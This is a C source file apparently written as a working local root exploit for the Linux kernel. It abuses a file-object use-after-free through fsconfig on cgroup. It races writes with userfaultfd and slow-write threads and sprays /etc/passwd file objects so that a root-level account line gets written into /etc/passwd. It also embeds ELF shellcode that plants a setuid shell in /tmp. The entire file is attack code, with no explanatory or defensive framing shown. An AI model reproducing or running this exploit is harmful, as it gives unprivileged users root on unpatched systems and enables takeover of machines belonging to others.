#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <ctype.h> #include <pthread.h> #include <assert.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/uio.h> #include <sys/stat.h> #include <linux/kcmp.h>
#include <linux/fs.h> #include <linux/mount.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsmount #define __NR_fsmount 432 #endif #ifndef __NR_move_mount #define __NR_move_mount 429 #endif int fsopen(const char* fs_name, unsigned int flags) { return syscall(__NR_fsopen, fs_name, flags); } int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux) { return syscall(__NR_fsconfig, fd, cmd, key, value, aux); } int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags) { return syscall(__NR_fsmount, fs_fd, flags, attr_flags); } int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags) { return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags); } void err_exit(char* msg) { printf("[X] %s\n", msg); exit(-1); } void unshare_setup(void) { char edit[0x100]; int tmp_fd; if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace"); tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd); tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); } #define WRITE_PAGE_NUMS 0x40000 #define MAX_FILE_NUMS 1000 int uaf_fd; int run_wait_lock = 0; int run_spray_file = 0; void prepare_exp_file() { puts("[+] Step I - Prepare some exp files"); system("rm exp_dir -rf;mkdir exp_dir;touch exp_dir/data"); if (chmod("exp_dir", 0777)) perror("chmod exp_dir"), exit(-1); if (chdir("exp_dir")) perror("chdir exp_dir"), exit(-1); } void construct_file_uaf() { puts("[+] Step II - Construct file obj UAF"); int fs_fd = fsopen("cgroup", 0); if (fs_fd < 0) perror("fsopen cgroup"), exit(-1); symlink("./data", "./uaf"); uaf_fd = open("./uaf", O_WRONLY); if (uaf_fd < 0) perror("open uaf"), exit(-1); if (fsconfig(fs_fd, 5, "source", NULL, uaf_fd)) perror("fsoncfig set fd"), exit(-1); close(fs_fd); } void* slow_write() { int fd = open("./uaf", O_WRONLY); if (fd < 0) perror("open uaf"), exit(-1); uint64_t start_addr = 0x30000000; uint64_t write_len = (WRITE_PAGE_NUMS-1) * 0x1000; int64_t page_nums; for (page_nums = 0; page_nums < WRITE_PAGE_NUMS; page_nums++) { void* addr = mmap((void*)(start_addr+page_nums*0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if (addr <= 0) perror("mmap"), exit(-1); } assert(page_nums > 0); puts("[+] Thread I start to slow write to get inode lock"); run_wait_lock = 1; if (write(fd, (void*)start_addr, write_len) < 0) perror("slow write"), exit(-1); puts("[+] Thread I write OVER"); close(fd); } void* write_cmd_and_wait_lock() { char cmd[1024] = "hi:x:0:0:root:/home/hi:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n"; while(!run_wait_lock) {} puts("[+] Thread II start to wait for inode lock to write"); run_spray_file = 1; if (write(uaf_fd, cmd, strlen(cmd)) < 0) perror("write uaf"), exit(-1); puts("[+] Thread II write OVER"); } void spray_file() { int fd[MAX_FILE_NUMS], i = 0; while (!run_spray_file) {} puts("[+] Thread III start to open many /etc/passwd to spray file obj"); printf("[+] uaf_fd is %d\n", uaf_fd); usleep(0.3); for (; i < MAX_FILE_NUMS; i++) { if ((fd[i] = open("/etc/passwd", O_RDONLY)) < 0) perror("open /etc/passwd"), exit(-1); if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fd[i], uaf_fd) == 0) { printf("[V] GOOD, Get UAF file obj successfully: fd[%d] = %d\n", i, fd[i]); for (int j = 0; j < i; j++) close(fd[j]); break; } } if (i == MAX_FILE_NUMS) { for (int j = 0; j < i; j++) close(fd[j]); puts("[X] FAILED to get UAF file obj"), exit(-1); } }
#include <linux/userfaultfd.h> #include <linux/userfaultfd.h> #include <sys/syscall.h> #include <pthread.h> #include <poll.h> #include <sys/mman.h>
static pthread_t monitor_thread;
void errExit(char * msg) { printf("[x] Error at: %s\n", msg); exit(EXIT_FAILURE); } static char *page = NULL; static long page_size; char * new_con; int new_size; void (*uaf)(void);
static void * fault_handler_thread(void *arg) { static struct uffd_msg msg; static int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) arg;
if (page == NULL) { page_size = 0x1000; page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) errExit("mmap"); } uaf(); memcpy(page, new_con, new_size); for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); puts("monitor...");
if (nready == -1) errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) errExit("EOF on userfaultfd!\n");
if (nread == -1) errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n");
uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); } } void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*)) { long uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1){ perror("userfautfd"); exit(-1); }
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd); if (s != 0) errExit("pthread_create"); }
void uaf_file(void){ for(int i = 1; i <= 5; i++){ printf("sleep %d\n", i); sleep(1); } }
void create_file(){ char filename[0x20]; char cmd[0x30]; for(int i = 0; i < 400; i++){ memset(filename, 0, sizeof(filename)); memset(cmd, 0, sizeof(cmd)); memcpy(filename, "f", 1); sprintf(filename+1, "%d", i); memcpy(cmd, "touch /tmp/\x00", 12); strcat(cmd, filename); system(cmd); } } unsigned char elfcode[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 };
int main(int argc, char** argv, char** envp) { bindCore(0); if (unshare(CLONE_NEWUSER) == -1) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); }
if (unshare(CLONE_NEWNS) == -1) { perror("unshare(CLONE_NEWNS)"); exit(EXIT_FAILURE); }
int fs_fd = syscall(__NR_fsopen, "cgroup", 0); if(fs_fd < 0){ perror("fsopen"); exit(-1); } chdir("/tmp"); system("touch aaa"); system("chmod +w /tmp/aaa"); int fd = open("aaa", 2);
int len = 0x1000; void *addr = (char*) mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); registerUserFaultFd(addr, len, fault_handler_thread);
if(fsconfig(fs_fd, FSCONFIG_SET_FD, "source", 0, fd)){ perror("fsconfig"); exit(-1); } close(fs_fd); new_con = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; new_size = 0x20; uaf = uaf_file; if(!fork()){ if(!fork()){ sleep(2); for(int i = 0; i < 400; i++) open("/etc/passwd", 0); exit(0); } else{ char code[] = "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash\n"; sleep(1); int w2 = write(fd, code, sizeof(code)); wait(NULL); exit(0); } }
else{ int fd1 = open("/tmp/aaa", 2); int w = write(fd1, addr, 0x20); if(w < 0){ perror("write"); } else{ } wait(NULL);
} setuid(0); return 0; }
|